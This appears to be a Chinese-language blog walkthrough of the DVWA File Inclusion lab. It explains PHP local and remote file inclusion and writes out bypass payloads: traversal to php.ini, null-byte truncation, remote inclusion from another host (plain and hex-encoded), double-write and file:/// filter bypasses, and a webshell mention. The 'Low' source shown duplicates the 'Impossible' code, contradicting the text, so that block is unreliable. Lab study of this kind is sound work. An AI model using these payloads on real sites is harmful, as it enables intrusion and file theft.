DWVA--File Inclusion

Erichas發表於2021-05-11

檔案包含漏洞

 

先來了解一下什麼是檔案包含

 

  因為程式開放人員通常會把可重複使用的函式寫到單個檔案中,在需要使用到這些函式時候,就可以

直接呼叫這個檔案,這種對檔案的呼叫過程就被稱為檔案包含。

 

檔案包含漏洞的成因  

             隨著網站業務的需求,程式開發人員一般希望程式碼更靈活,所以將被包含的檔案設定為變數,用來進行動態呼叫,但是正是這種靈活性通過動態變
量的方式引入需要包含的檔案時,使用者對這個變數可控而且服務端又沒有做合理的校驗或者校驗被繞過就造成了檔案包含漏洞。


PHP中常見的檔案包含的函式

Ø include( )
當使用該函式包含檔案時,只有程式碼執行到 include()函式時才將檔案包含
進來,發生錯誤時之給出一個警告,繼續向下執行。
Ø include_once( )
功能與Include()相同,區別在於當重複呼叫同一檔案時,程式只呼叫一次
Ø require( )
require()與include()的區別在於require()執行如果發生錯誤,函式會輸出
錯誤資訊,並終止指令碼的執行。
Ø require_once( )
功能與require()相同,區別在於當重複呼叫同一檔案時,程式只呼叫一次。

檔案包含漏洞分類

 本地檔案包含漏洞:

當被包含的檔案在伺服器本地時,就形成的本地檔案包含漏洞。

 

遠端檔案包含漏洞:

本地檔案包含和遠端檔案包含造成漏洞的原因是一樣的,當php.ini 中的配
置選項allow_url_fopen和allow_url_include為ON的話,則包含的檔案可以是第三方伺服器中的檔案,這樣就形成了遠端檔案包含漏洞。

 

我們先來簡單測試一下,我們建立一個這樣的php檔案

 

在這個目錄下的txt檔案也會被當作php檔案來執行,我們在同目錄下建立一個txt檔案

 

 

 

 

接下來我們訪問一下這個h.txt在使用id=h.txt

 

可以看到成功把txt檔案執行成了php檔案,如果我們把該txt寫成一句話木馬就可以用菜刀連上了,當然這要配合檔案上傳漏洞來使用了。

 

 

Low

 

先來看一下原始碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

沒有作任何的過濾,直接讀取檔案,我們有3個選擇檔案的執行,這三個檔案是在include.php檔案目錄下的三個檔案,我們來看一下這3個檔案執行結果

 

輸出當前使用者名稱,和我們訪問的IP,這裡是虛擬機器網路卡的IP

 

 

 輸出了一行字 這裡說他需要8位數的密碼,所以他選擇了白雪公主和七個小矮人~

 

 

 

 

 這裡輸出的是我們訪問所用的IP,代理地址,我們訪問的伺服器IP

 

 

 

 

 

 

我們把page後面修改成linux檔案路徑報錯了,這說明伺服器是windows系統,同時也暴露了檔案的絕對路徑

 

 

我們直接用絕對路徑訪問php.ini檔案來看一下

 

 

 

 

我們還可以用..\..\來跳轉到上一級目錄直到根目錄再來訪問

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\phpStudy\WWW\dvwa\php.ini

 

 

 

 配置檔案中的Magic_quote_gpc選項為off。在php版本小於5.3.4的伺服器中,當Magic_quote_gpc選項為off時,我們可以在檔名中使用%00進行截斷,也就是說檔名中%00後的內容不會被識別

 

也就是http://192.168.94.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\www\dvwa\php.ini

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\www\dvwa\php.ini%00%20adads.php是等效的

但我們這次的php版本是5.4.45.

這個規則有什麼用呢?我們可以使用%00截斷可以繞過某些過濾規則,例如要求page引數的字尾必須為php,這時前面想讀取ini字尾會讀取失敗,而後面的可以繞過規則成功讀取。

 

前面已經說過了allow_url_fopen和allow_url_include為ON的話,可以進行遠端檔案包含,這裡搭載本機的伺服器

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=http://192.168.94.1/index.php

 

成功讓本地伺服器遠端包含!一般是放攻擊檔案在伺服器上。

這樣的構造太明顯,我們也可以對url進行hex編碼

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%34%2e%31%2f%69%6e%64%65%78%2e%70%68%70

 

 

Medium

 

先來看一下原始碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

這裡使用str_replace函式來對../ ..\  http://  https:// 都替換成了空。

 

這種替換我們通常都可以使用雙寫來繞過

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.94.1/index.php

 

 

 

 

 

也可以用絕對路徑來繞過

 

 

 

High

 看一下原始碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>
if( !fnmatch( "file*", $file ) && $file != "include.php" )這個程式碼是用
fnmatch(pattern,string,flags)函式
pattern 必需 規定要檢索的模式
string 必需 規定要檢查的字串或檔案
flags 可選

也就是說是當檔案不是file開頭也不是include.php時候就會報錯。也就意味著滿足其中一個條件就可以正確執行了

當我們開啟一個本地檔案時,前面就是file開頭

 

 

 

 

接下來就可以構造payload了

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=file:///C:\phpstudy\WWW\dvwa\php.ini

 

 

 

Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

 

這裡直接就必須是他原本的幾種檔名才可以包含了,這裡可能需要用檔案上傳和一些規則利用才能繞過了,現在我還沒有辦法繞過。